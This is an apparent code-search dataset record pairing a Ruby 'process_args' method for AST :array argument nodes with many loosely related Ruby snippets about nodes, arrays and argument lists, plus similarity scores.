"def raw_expression_children\n\n @raw_representation[2].select { |c| c.is_a?(Array) }\n end",
"def unwrap(node)\n if node.respond_to? :_arel\n unwrap node._arel\n elsif node.is_a? Array\n node.map { |n| unwrap(n) }\n else\n node\n end\n end",
"def node_reparsed_with_modern_features(node); end",
"def to_a\n array = []\n attributes.each do |value|\n array << deep_unwrap(value)\n end\n\n return array\n end",
"def to_a\n array = []\n attributes.each do |value|\n array << deep_unwrap(value)\n end\n\n return array\n end",
"def convert_children\n children.map {|ch| convert ch }.compact\n end",
"def group_arguments(nodes)\n new_nodes = []\n\n nodes.each_with_index do |node, index|\n if !node or (node.is_a?(Array) and node.empty?)\n next\n end\n\n new_nodes << convert_argument_node(node, index)\n end\n\n return new_nodes.flatten\n end",
"def nodes\n @nodes = [] if !instance_variable_defined?(:@nodes) or @nodes.nil?\n @nodes\n end",
"def transformed_entries entries\n\t\tentries\n\tend",
"def array_from_xml(xml, opts=OPTS)\n node = Nokogiri::XML(xml).children.first\n unless node \n raise Error, \"Malformed XML used\"\n end\n node.children.reject{|c| c.is_a?(Nokogiri::XML::Text)}.map{|c| from_xml_node(c, opts)}\n end",
"def handle_nodes exp\n exp.each do |node|\n if node.is_a? Array\n @bike.handle_node(node)\n handle_nodes(node)\n end\n end\n end",
"def nodes_field\n define_nodes_field\n end",
"def raw_node; end",
"def res_node_for_child_2(ch_nodes)\n res = []\n\n if ch_nodes\n ch_nodes.each do |child|\n node_type = child.type\n res2 = {\n 'nodeinfo' => child,\n 'name' => child.get_name,\n 'instructor_id' => child.get_instructor_id, # add instructor id to the payload to make it available in the frontend\n 'key' => params[:reactParams2][:key],\n 'type' => node_type,\n 'private' => child.get_private,\n 'creation_date' => child.get_creation_date,\n 'updated_date' => child.get_modified_date\n }\n coursenode_assignmentnode(res2, child) if %w[CourseNode AssignmentNode].include? node_type\n res << res2\n end\n end\n res\n end",
"def to_ast\n attr_ast = attributes.map { |name| [:attribute, name] }\n\n node_ast = nodes.map(&:to_ast)\n wrap_ast = wraps.map(&:to_ast)\n\n wrap_attrs = wraps.flat_map { |wrap|\n wrap.attributes.map { |c| [:attribute, :\"#{wrap.base_name.dataset}_#{c}\"] }\n }\n\n meta = options[:meta].merge(dataset: relation.base_name.dataset)\n meta.delete(:wraps)\n\n header = (attr_ast - wrap_attrs) + node_ast + wrap_ast\n\n [:relation, [relation.base_name.relation, meta, [:header, header]]]\n end",
"def nodes(*args)\n opts, *entities = extract(*args)\n filter = opts[:filter] ||= lambda{|n| true}\n node_decorator = opts[:node_decorator] || NoOpDecorator\n entities.map do |entity|\n node_decorator.decorate(Node.new(entity, node_decorator: node_decorator)).flatten(filter)\n end.flatten\n end",
"def nodes\n nodes_by_id.values\n end",
"def transform; end",
"def node\n [@x, @y]\n end",
"def to_a(options = {})\n omit = options[:omit] || []\n node = @node.to_a(options) unless @node.nil? || omit.include?(:node)\n # this may need to be cached when properties are updated\n # might be worth benchmarking\n [\n start_byte,\n node,\n (type_byte unless omit.include?(:type)),\n [address].compact.flatten,\n [value].compact.flatten,\n (checksum unless omit.include?(:checksum)),\n end_byte\n ].compact\n end",
"def to_a()\r\n @to_a ||= elements.map{ |e| element_class.new(@parent, :element => e) }\r\n end",
"def to_array\n children.each_with_object( [ self ] ) { |child, memo|\n memo.concat( child.to_array )\n }.flatten\n end",
"def strip_content(node)\n case node\n when Array\n node.map { |child| strip_content(child) }\n when Hash\n if node.keys.size == 1 && node[\"__content__\"]\n node[\"__content__\"]\n else\n node.inject({}) do |attributes, key_value|\n attributes.merge({ key_value.first => strip_content(key_value.last) })\n end\n end\n else\n node\n end\n end",
"def treeify(arr, pre)\n arr.map { |elem| (elem.is_a? Array) ? treeify(elem, pre + \"-\") : nodeify(pre, elem) }\n end",
"def visit_Array(o, parent)\n o.map { |v| can_visit?(v) ? visit(v, parent) : v }.flatten\n end",
"def subnodes\n Array(args)\n end",
"def process_all(nodes)\n results = []\n nodes.to_a.each do |node|\n n = process(node)\n if n\n if n.is_a?(Inline)\n results += n\n else\n results << n\n end\n end\n end\n results\n end",
"def to_array_form(external_ref_path)\n # TODO: use regexp disjunction\n external_ref_path.gsub(/^node\\[/, '').gsub(/^service\\[/, '').gsub(/\\]$/, '').split('][')\n end",
"def nodes(attrs={})\n if attrs.is_a?(Hash) and attrs.has_key?(:type)\n attrs[:type].constantize.find(session, \"label_node_ids LIKE '%#{id}%'\")\n else\n Ecore::Node.find(session, \"label_node_ids LIKE '%#{id}%'\")\n #.inject(NodeArray.new) do |arr,n|\n # n.session = session\n # arr << n\n #end\n end\n end",
"def tree_to_array(node)\n h = height(node)\n tree_arr = []\n (1..h).each do |n|\n tree_arr << node_at_a_level(node, n)\n end\n tree_arr\nend",
"def flatten() end",
"def process_child_nodes(node); end",
"def get_node_attributes_stub\n []\n end",
"def create_nodes\n @nodes = [*0...@table.flatten.length]\n end",
"def map_nodes!(&ruby_block)\n # Nothing to do.\n end",
"def transform_values!; end",
"def values\n if node_type == :leaf\n [payload]\n else\n payload.values\n end\n end",
"def test_flatten_process2\r\n proc = @mymodel.node_list.add_node(1, 'proc1', PROCESS) \r\n proc.commentary='com'\r\n proc.description='dsc' \r\n proc.evidence=0.23\r\n \r\n assert_equal( { \"name\"=>\"proc1\", \"ident\"=>1, \"type\"=>\"process\",\r\n \"commentary\"=>\"com\", \"description\"=>\"dsc\", \"evidence\"=>[0.23, 0.23] },\r\n proc.flatten_data)\r\n end",
"def to_a(options = {})\n omit = options[:omit] || []\n node = @node.to_a(options) unless @node.nil? || omit.include?(:node)\n # this may need to be cached when properties are updated\n # might be worth benchmarking\n [\n start_byte,\n node,\n @data,\n end_byte\n ].compact\n end",
"def prepare_nodes\n\n @changed_post_nodes = []\n\n @post_nodes_permitted_attributes[:post_nodes].each do |post_node|\n\n @changed_post_nodes << handle_node(post_node)\n\n end\n\n end",
"def node_to_model(node)\n\t\tlog(\"node_to_model #{node.class}\")\n\t\tinstance = @factory.instantiate_transformed(node)\n\t\tmetaclass = instance.class\n\t\tmetaclass.ecore.eAllAttributes.each do |attr|\n\t\t\tpopulate_attr(node,attr,instance)\n\t\tend\n\t\tmetaclass.ecore.eAllReferences.each do |ref|\n\t\t\tpopulate_ref(node,ref,instance)\n\t\tend\n\t\tinstance\n\tend",
"def node_type; end",
"def node_type; end",
"def marshall_nodes(node_id_list)\n node_id_list.map{|nid| Node.find_by_persistent_id(nid)}\n end",
"def nodelist; end",
"def nodelist; end",
"def to_a(xpath = T.unsafe(nil)); end",
"def args_from_node(args_node); end",
"def transform(source)\n method_name = \"transform_#{source.node_type}\"\n if respond_to?(method_name)\n send method_name, source\n end\n end",
"def transformation\n end",
"def to_tree\n if term?\n [type, *args]\n else\n [type, *args.map(&:to_tree)]\n end\n end",
"def on_axis_attribute(ast_node, context)\n nodes = XML::NodeSet.new\n\n context.each do |xml_node|\n next unless xml_node.is_a?(XML::Element)\n\n nodes += on_test(ast_node, xml_node.attributes)\n end\n\n return nodes\n end",
"def transforms; end",
"def to_node_container(object)\n if !object.kind_of?(Array) || !object.kind_of?(Node::Container)\n object = [object].flatten.compact\n end\n if object.kind_of?(Array)\n object = Node::Container.new(object)\n end\n object\n end",
"def to_adj\n full_jsivt= []\n @nodes.each do |id, node_data|\n name = node_data[@name_key]\n data = node_data[:data]\n adjacencies = node_data[@children_key]\n jsivt = {}\n jsivt[\"id\"] = id\n jsivt[\"name\"] = name || \"id: #{id}\" #if no name show id\n jsivt[\"data\"] = data\n jsivt[\"adjacencies\"] = adjacencies\n full_jsivt << jsivt\n end \n full_jsivt.to_json \n end",
"def res_node_for_child_2(ch_nodes)\n res = []\n\n if ch_nodes\n ch_nodes.each do |child|\n node_type = child.type\n res2 = {\n \"nodeinfo\" => child,\n \"name\" => child.get_name,\n \"key\" => params[:reactParams2][:key],\n \"type\" => node_type,\n \"private\" => child.get_private,\n \"creation_date\" => child.get_creation_date,\n \"updated_date\" => child.get_modified_date\n }\n coursenode_assignmentnode(res2, child) if %w[CourseNode AssignmentNode].include? node_type\n res << res2\n end\n end\n res\n end",
"def attribute_nodes\n @attribute_nodes ||= NodeSetProxy.new(@node.attribute_nodes, self)\n end",
"def children=(node_or_tags); end",
"def children=(node_or_tags); end",
"def map_nodes!(&ruby_block)\n self.map_args!(&ruby_block)\n end",
"def visit(subject)\n # visit each IncrementNode\n if (subject.class.to_s == \"IncrementNode\")\n adder_value = subject.increment_value.to_i\n\n # iterate through IncrementNode's immediate children\n subject.children.each do |node|\n rows = []\n columns = []\n\n # immediate child node's area of effect \n # (e.g. C1 would have an effect on [[], [1]] -> [[rows], [columns]] )\n if node.class.to_s == \"RowNode\"\n rows = node.values\n elsif node.class.to_s == \"ColumnNode\" \n columns = node.values\n end\n\n # iterate through children of immediate child node (of IncrementNode) \n # and combine areas of effect for each child with immediate child (of IncrementNode) \n node.children.each do |child|\n if child.class.to_s == \"RowNode\"\n rows << child.values\n rows = rows.flatten # flatten to avoid case like [[[rows]], [columns]]\n elsif child.class.to_s == \"ColumnNode\" \n columns << child.values\n columns = columns.flatten\n end\n end\n\n # keeping track of rows and columns that are going to be affected\n @rows_affected << rows\n @rows_affected = @rows_affected.flatten\n @columns_affected << columns\n @columns_affected = @columns_affected.flatten\n\n # add matrix transformation to transformation array \n @transformation_array << [adder_value, [rows, columns]]\n end\n end\n end",
"def transform\n end",
"def initialize\n @nodes = []\n end"
] |
[
"0.68029875",
"0.66428435",
"0.66304606",
"0.6411438",
"0.6351273",
"0.6283534",
"0.61893195",
"0.6041019",
"0.6031766",
"0.5967229",
"0.5937935",
"0.5906308",
"0.5896435",
"0.58795154",
"0.58666766",
"0.58360076",
"0.5822168",
"0.58167756",
"0.5808693",
"0.5757867",
"0.5750969",
"0.57483196",
"0.57300025",
"0.57300025",
"0.57300025",
"0.57190365",
"0.5691537",
"0.568047",
"0.56782186",
"0.5675918",
"0.56692255",
"0.5660808",
"0.5646621",
"0.563285",
"0.56163067",
"0.5596361",
"0.5583151",
"0.5582912",
"0.55508167",
"0.55408394",
"0.5515586",
"0.55043083",
"0.55043083",
"0.55042934",
"0.5498432",
"0.54786116",
"0.54725605",
"0.54617643",
"0.545863",
"0.5446186",
"0.5429367",
"0.5412032",
"0.5405524",
"0.53690225",
"0.53636837",
"0.5350435",
"0.53447294",
"0.53367084",
"0.5334747",
"0.53278035",
"0.5317022",
"0.53161514",
"0.5313861",
"0.53074694",
"0.53049463",
"0.52951074",
"0.5289827",
"0.52894276",
"0.52869344",
"0.528359",
"0.52800924",
"0.5276514",
"0.5273087",
"0.5266044",
"0.5257746",
"0.5252533",
"0.52519935",
"0.52499217",
"0.52497786",
"0.52497375",
"0.52497375",
"0.5248925",
"0.524801",
"0.524801",
"0.5240726",
"0.5240696",
"0.5236184",
"0.52274305",
"0.52258354",
"0.5215642",
"0.52152836",
"0.5212001",
"0.5204821",
"0.52025694",
"0.520023",
"0.51945406",
"0.51945406",
"0.5173286",
"0.5168142",
"0.51615006",
"0.5154817"
] |
0.0
|
-1
|
fixed argument lists are represented as :array nodes, e.g. [:array, [argnode1, argnode2, ...]]
|
def process_args(args_node)
return [] unless args_node
if args_node.first == :array
args_node.last.map { |node| to_sexp(node) }
else
raise "variable arguments not allowed"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def aryfy(arg)\n ast AST::ASTArray, :children => [arg]\n end",
"def convert_args_node(node)\n if node.kind_of?(String) || node.kind_of?(Symbol) || node.kind_of?(Numeric) || \n node.kind_of?(TrueClass) || node.kind_of?(FalseClass) || node.kind_of?(NilClass)\n node\n elsif node.instance_of?(Array)\n if node[0] == :struct\n node[1].inject(HashWithIndifferentAccess.new) do |acc, x|\n acc[x[0]] = convert_args_node(x[1]); acc\n end\n elsif node[0] == :array\n node[1].inject([]) do |acc, x|\n acc << convert_args_node(x)\n end\n else\n raise \"Invalid tagged node: #{node.inspect}\"\n end\n else\n raise \"Invalid node, must be an instance of String, Symbol, Numeric, True, False, Nil, or Array: #{node.inspect} (#{node.class.inspect})\"\n end\n end",
"def args_from_node(args_node); end",
"def getArray _args\n \"getArray _args;\" \n end",
"def lnbAddArray _args\n \"lnbAddArray _args;\" \n end",
"def cast_array_for_args\n <<-CODE\n next_int;\n c->args = _int;\n t1 = stack_pop();\n if(REFERENCE_P(t1) && object_kind_of_p(state, t1, global->tuple)) {\n t1 = array_from_tuple(state, t1);\n } else if(!REFERENCE_P(t1) || !object_kind_of_p(state, t1, global->array)) {\n t2 = array_new(state, 1);\n array_set(state, t2, 0, t1);\n t1 = t2;\n }\n stack_push(t1);\n c->args += N2I(array_get_total(t1));\n CODE\n end",
"def convert_argument_node(node, index)\n if node.is_a?(Array)\n node = node.map { |n| convert_argument_node(n, index) }\n else\n if node.identifier?\n node = node.updated(:local_variable)\n end\n\n if node.type != :splat_argument\n node = Node.new(PARAMETER_INDEX_TYPES[index], [node])\n end\n end\n\n return node\n end",
"def group_arguments(nodes)\n new_nodes = []\n\n nodes.each_with_index do |node, index|\n if !node or (node.is_a?(Array) and node.empty?)\n next\n end\n\n new_nodes << convert_argument_node(node, index)\n end\n\n return new_nodes.flatten\n end",
"def subnodes\n Array(args)\n end",
"def array_converter(*args)\n \nend",
"def my_function(argument_a, argument_b, *args)\n puts argument_a\n puts argument_b\n p args.class.name # this is now an array\n puts args\nend",
"def isArray _args\n \"isArray _args;\" \n end",
"def splat_mth(*mult_arg)\n p mult_arg #it's array :) !\n p mult_arg.class\n p mult_arg.object_id\n mult_arg.map {|arg| }\n end",
"def Array(p0) end",
"def param_array(keys)\n puts \"Entering param_array '#{@sy}'\" if DEBUG\n type = nil\n \n if @sy.type == TokenType::ARRAY_TOKEN\n next_token\n if @sy.type == TokenType::OF_TOKEN\n next_token\n type = param_type(keys | Array.follow)\n else\n error(\"Line #{@sy.line_number} expected 'of', but saw '#{@sy.text}'\", keys | Array.follow)\n end\n else\n error(\"Line #{@sy.line_number} expected 'array', but saw '#{@sy.text}'\", keys | Array.follow)\n end\n puts \"Leaving param_array '#{@sy}'\" if DEBUG\n \n TypeNode.new \"array of #{type.type}\"\n end",
"def args_to_params(sexp)\n result = []\n sexp.each do |arg|\n if arg[0] == :lasgn\n ref = variable(arg[1])\n scope.add_arg ref\n result << ref\n elsif arg[0] == :array\n result << scope.next_temp\n else\n raise \"Bad js_block_arg: #{arg[0]}\"\n end\n end\n\n result\n end",
"def initialize(*args)\n params_init # paramable\n array_init(*args)\n end",
"def argument_node; end",
"def process_ArgumentNodes(nodes)\n nodes.map { |arg_node| process_ArgumentNode(arg_node) }\n end",
"def args_for_node(node)\n Array(node)[1..-1].select { |arg| arg.is_a? Symbol }\n end",
"def arguments=(_arg0); end",
"def function_arguments(node, scope)\n args = node.function_arguments\n if args.respond_to?(:argument_list)\n args.argument_list.elements.flat_map do |elem|\n if elem.respond_to?(:ruby_ast)\n elem.ruby_ast(scope)\n elsif !elem.elements.nil? and !elem.elements.empty?\n elem.elements.map { |e| p e; e.expression.ruby_ast(scope) }\n else\n []\n end\n end\n elsif args.respond_to?(:attribute_list)\n members = args.attribute_list.elements.map do |elem|\n [elem.elements[1].identifier.as_symbol, elem.elements[1].expression.ruby_ast(scope)]\n end\n [Yugo::Ruby::HashLiteral.new(members, include_braces: false, symbol_keys: true)]\n else\n raise \"Don't know how to process these function arguments: #{node.inspect}\"\n end\n end",
"def cast_for_multi_block_arg\n <<-CODE\n t1 = stack_top();\n k = NUM_FIELDS(t1);\n /* If there is only one thing in the tuple... */\n if(k == 1) {\n t1 = tuple_at(state, t1, 0);\n /* and that thing is an array... */\n if(RISA(t1, array)) {\n /* make a tuple out of the array contents... */\n j = N2I(array_get_total(t1));\n t2 = tuple_new(state, j);\n\n for(k = 0; k < j; k++) {\n tuple_put(state, t2, k, array_get(state, t1, k));\n }\n\n /* and put it on the top o the stack. */\n stack_set_top(t2);\n }\n }\n CODE\n end",
"def expand_any_double_colon_namespace_args(args_arr)\n args_arr.map{|arg| arg.split('::') }.flatten\n end",
"def mutliplied(array)\nend",
"def arguments\n ArgumentExpansion.new(arg_node)\n end",
"def args(*) end",
"def arglist\n expect :call, :attrasgn, :safe_call, :safe_attrasgn, :super, :zsuper\n\n case self.node_type\n when :call, :attrasgn, :safe_call, :safe_attrasgn\n self[3..-1].unshift :arglist\n when :super, :zsuper\n if self[1]\n self[1..-1].unshift :arglist\n else\n Sexp.new(:arglist)\n end\n end\n end",
"def array(arg)\n if arg\n arg = arg.chomp.rstrip.lstrip\n name = arg.scan(/\\s*(\\w*)\\[\\d*\\]?/).first.first\n \n # following 10 lines seem to be unnecessary\n # and are left over from early array work\n # but they are still here for a bit\n # determine if there is an array assignement, and how many\n # then eliminate the assignment and update the array size\n # if /\\w*\\[\\d*\\]\\s*\\=\\s*\\{(.*)\\}/ =~ arg\n # assignment = arg.scan(/\\w*\\[\\d*\\]\\s*\\=\\s*\\{(.*)\\}/).first.first\n # array_size = assignment.split(\",\").length\n # if /\\[(\\s*)\\]/ =~ arg\n # arg.gsub!(/(\\[\\d*\\])/, \"[#{array_size}]\")\n # end\n # end\n # arg = arg.scan(/^((\\s*|\\w*)*\\s*\\w*\\[\\d*\\])?/).first.first\n\n # help rad_processor do a better job with array types\n types = [\"int\", \"long\", \"char*\", \"unsigned int\", \"unsigned long\", \"byte\", \"bool\", \"float\" ]\n types.each_with_index do |type, i|\n @type = types[i] if /#{type}/ =~ arg\n end\n raise ArgumentError, \"type not currently supported.. got: #{arg}. Currently supporting #{types.join(\", \")}\" unless @type\n\n arg = \"#{arg};\" unless arg[-1,1] == \";\"\n $array_types[name] = @type\n @type = nil\n $external_var_identifiers << name unless $external_var_identifiers.include?(name)\n # add array_name declaration\n $external_array_vars << arg unless $external_array_vars.include?(arg)\n end\n end",
"def evaluate_ref_compound(arg_stack)\n raise BASICSyntaxError.new('function evaluated with arguments') if\n previous_is_array(arg_stack)\n\n self\n end",
"def evaluate_ref_compound(_interpreter, arg_stack)\n raise BASICSyntaxError, 'function evaluated with arguments' if\n previous_is_array(arg_stack)\n\n self\n end",
"def args\n expect :call, :attrasgn, :safe_call, :safe_attrasgn, :super, :zsuper\n\n case self.node_type\n when :call, :attrasgn, :safe_call, :safe_attrasgn\n if self[3]\n self[3..-1]\n else\n Sexp.new\n end\n when :super, :zsuper\n if self[1]\n self[1..-1]\n else\n Sexp.new\n end\n end\n end",
"def []=(*args); end",
"def arbitrary_params( *args)\n args.each do |arg|\n puts arg\n end\n # other method of iterating through array\n # args.each { |arg| puts arg }\nend",
"def double_array(array)\n # your code here\nend",
"def preprocessing_args(args)\n args.map do |v|\n if v.is_a?(Array) && v.length == 2\n Point.new(*v)\n elsif v.is_a?(Point)\n v\n else\n raise TypeError, \"Arguments should be arrays with coordinates or Points.\"\n end\n end\n end",
"def preprocessing_args(args)\n args.map do |v|\n if v.is_a?(Array) && v.length == 2\n Point.new(*v)\n elsif v.is_a?(Point)\n v\n else\n raise TypeError, \"Arguments should be arrays with coordinates or Points.\"\n end\n end\n end",
"def array(*args)\n args_ = (args.size == 1) && (args[0].is_a? ::Array) ? args[0] : args\n args_.each_with_object(newObject('Array')) do |val, obj|\n obj.add val\n end\n end",
"def k_array!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 60 )\n\n\n\n type = K_ARRAY\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 493:3: 'array'\n match( \"array\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 60 )\n\n\n end",
"def doubler(array)\n \nend",
"def doubler(array)\n \nend",
"def args()\n #This is a stub, used for indexing\n end",
"def instantiate_new_array\n<<<<<<< HEAD\n Array.new\nend",
"def lcts(array)\nend",
"def visit_array(h); end",
"def variable_length( *args )\n return args\nend",
"def process_arglist(exp)\n return '' if exp.empty?\n return process_array(exp)\n end",
"def force_arrays(node, arrays)\n\tif node.is_a?(Hash)\n\t\tnode.each { |k,v|\n\t\t\tforce_arrays(v, arrays)\n\t\t\tif arrays.include?(k) and !v.is_a?(Array)\n\t\t\t\tnode[k] = [v]\n\t\t\tend\n\t\t}\n\telsif node.is_a?(Array)\n\t\tnode.each { |n|\n\t\t\tforce_arrays(n, arrays)\n\t\t}\n\tend\t\t\t\nend",
"def test_array_arg\n\tarray = Array.new\n\tw = NQXML::Writer.new(array)\n\n\tw.write('data')\n\tassert_equals(['data'], array)\n\n\tw.comment('foo')\n\tassert_equals(['data', '<!--foo-->'], array)\n end",
"def autocorrect_same_factory_calls_in_array(corrector, node); end",
"def print_elements(input_array)\n # TODO\nend",
"def path_value_args(args)\n args.each_slice(2)\n .map { |p, v| [p, serialize_literal(v)] }.flatten(1)\n end",
"def lambdacall_args(sexp)\n__args_index(car(sexp)) + lambdacall_index(cadr(sexp), [])\n end",
"def check_arg_structure(args)\n valid = true\n valid &&= args.class == Array\n \n args.each do |a|\n valid &&= a.class == Array \n valid &&= a.size == 2\n a.each do |s|\n valid &&= s.class == String\n end\n end\n\n raise \"Imported function arguments in invalid form\" unless valid\n end",
"def check_arg_structure(args)\n valid = true\n valid &&= args.class == Array\n \n args.each do |a|\n valid &&= a.class == Array \n valid &&= a.size == 2\n a.each do |s|\n valid &&= s.class == String\n end\n end\n\n raise \"Imported function arguments in invalid form\" unless valid\n end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def *(arg0)\n end",
"def *(arg0)\n end",
"def bound_variable_arg(arg, conn)\n case arg\n when ArrayRow\n \"(#{arg.map{|v| bound_variable_array(v) if v}.join(',')})\"\n when HashRow\n arg.check_columns!\n \"(#{arg.values_at(*arg.columns).map{|v| bound_variable_array(v) if v}.join(',')})\"\n else\n super\n end\n end",
"def params_array_from(raw_params); end",
"def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend",
"def array_literal\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 78 )\n return_value = ArrayLiteralReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal387 = nil\n char_literal388 = nil\n char_literal389 = nil\n char_literal391 = nil\n char_literal393 = nil\n list_item390 = nil\n list_item392 = nil\n\n tree_for_char_literal387 = nil\n tree_for_char_literal388 = nil\n tree_for_char_literal389 = nil\n tree_for_char_literal391 = nil\n tree_for_char_literal393 = nil\n stream_RBRACK = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RBRACK\" )\n stream_LBRACK = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LBRACK\" )\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_list_item = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule list_item\" )\n begin\n # at line 784:3: ( '[' ']' -> ^( ARRAY ) | '[' list_item ( ',' list_item )* ']' -> ^( ARRAY ( list_item )* ) )\n alt_96 = 2\n look_96_0 = @input.peek( 1 )\n\n if ( look_96_0 == LBRACK )\n look_96_1 = @input.peek( 2 )\n\n if ( look_96_1 == RBRACK )\n alt_96 = 1\n elsif ( look_96_1 == GENERAL || look_96_1 == GET || look_96_1 == ARROW || look_96_1 == IF || look_96_1.between?( IN, REGEX ) || look_96_1 == INCR || look_96_1.between?( BREAK, RETURN ) || look_96_1 == IS_DEFINED || look_96_1 == CASE || look_96_1 == CATCH || look_96_1 == LBRACE || look_96_1.between?( COMMA, LBRACK ) || look_96_1.between?( SET, LET ) || look_96_1 == DDOC || look_96_1.between?( DECR, LPAREN ) || look_96_1 == DEFAULT || look_96_1 == DELETE || look_96_1.between?( DGENERAL, SWITCH ) || look_96_1.between?( MINUS, DO ) || look_96_1 == THROW || look_96_1 == TILDE || look_96_1 == TRUE || look_96_1 == TRY || look_96_1.between?( TYPEOF, NEW ) || look_96_1.between?( EACH, UNLESS ) || look_96_1 == UNTIL || look_96_1 == FALSE || look_96_1.between?( VAR, FINALLY ) || look_96_1.between?( VOID, FOR ) || look_96_1 == WHILE || look_96_1.between?( WITH, YIELD ) || look_96_1.between?( IS_UNDEFINED, DOC ) || look_96_1.between?( T__148, T__150 ) )\n alt_96 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 96, 1 )\n end\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 96, 0 )\n end\n case alt_96\n when 1\n # at line 784:5: '[' ']'\n char_literal387 = match( LBRACK, TOKENS_FOLLOWING_LBRACK_IN_array_literal_5529 )\n if @state.backtracking == 0\n stream_LBRACK.add( char_literal387 )\n end\n char_literal388 = match( RBRACK, TOKENS_FOLLOWING_RBRACK_IN_array_literal_5531 )\n if @state.backtracking == 0\n stream_RBRACK.add( char_literal388 )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 784:13: -> ^( ARRAY )\n # at line 784:16: ^( ARRAY )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( ARRAY, \"ARRAY\" ), root_1 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 785:5: '[' list_item ( ',' list_item )* ']'\n char_literal389 = match( LBRACK, TOKENS_FOLLOWING_LBRACK_IN_array_literal_5545 )\n if @state.backtracking == 0\n stream_LBRACK.add( char_literal389 )\n end\n @state.following.push( TOKENS_FOLLOWING_list_item_IN_array_literal_5547 )\n list_item390 = list_item\n @state.following.pop\n if @state.backtracking == 0\n stream_list_item.add( list_item390.tree )\n end\n # at line 785:19: ( ',' list_item )*\n while true # decision 95\n alt_95 = 2\n look_95_0 = @input.peek( 1 )\n\n if ( look_95_0 == COMMA )\n alt_95 = 1\n\n end\n case alt_95\n when 1\n # at line 785:21: ',' list_item\n char_literal391 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_array_literal_5551 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal391 )\n end\n @state.following.push( TOKENS_FOLLOWING_list_item_IN_array_literal_5553 )\n list_item392 = list_item\n @state.following.pop\n if @state.backtracking == 0\n stream_list_item.add( list_item392.tree )\n end\n\n else\n break # out of loop for decision 95\n end\n end # loop for decision 95\n char_literal393 = match( RBRACK, TOKENS_FOLLOWING_RBRACK_IN_array_literal_5558 )\n if @state.backtracking == 0\n stream_RBRACK.add( char_literal393 )\n end\n # AST Rewrite\n # elements: list_item\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 785:42: -> ^( ARRAY ( list_item )* )\n # at line 785:45: ^( ARRAY ( list_item )* )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( ARRAY, \"ARRAY\" ), root_1 )\n\n # at line 785:54: ( list_item )*\n while stream_list_item.has_next?\n @adaptor.add_child( root_1, stream_list_item.next_tree )\n\n end\n\n stream_list_item.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 78 )\n\n end\n \n return return_value\n end",
"def get_arg_list\n return nil if node_type != :call\n\n sons.each do |son|\n if son.node_type == :arglist\n return son.sons.map {|arg| arg.name}.join(', ')\n end\n end\n\n return nil\n end",
"def rake_array_arg(arg, delim = \" \")\n return arg.split(delim) if arg.is_a? String\n return arg\nend",
"def check_args(args, add_self = true)\n c_args = process args\n\n# HACK\n# c_args.each do |arg|\n# raise UnsupportedNodeError,\n# \"'#{arg}' is not a supported variable type\" if arg.to_s =~ /^\\*/\n# end\n\n if add_self then\n if c_args == '()' then\n c_args = '(VALUE self)'\n else\n c_args.sub! '(', '(VALUE self, '\n end\n end\n\n return c_args\n end",
"def %(args)\n raise 'non-array arg to %' unless args.is_a?(Array)\n\n engine.eval_to_hash(node, args, cloned_params)\n end",
"def g *args # accept multiple arguments as an array\n\targs # returns an array\nend",
"def print_array(array)\n p array\nend",
"def args() return @args end",
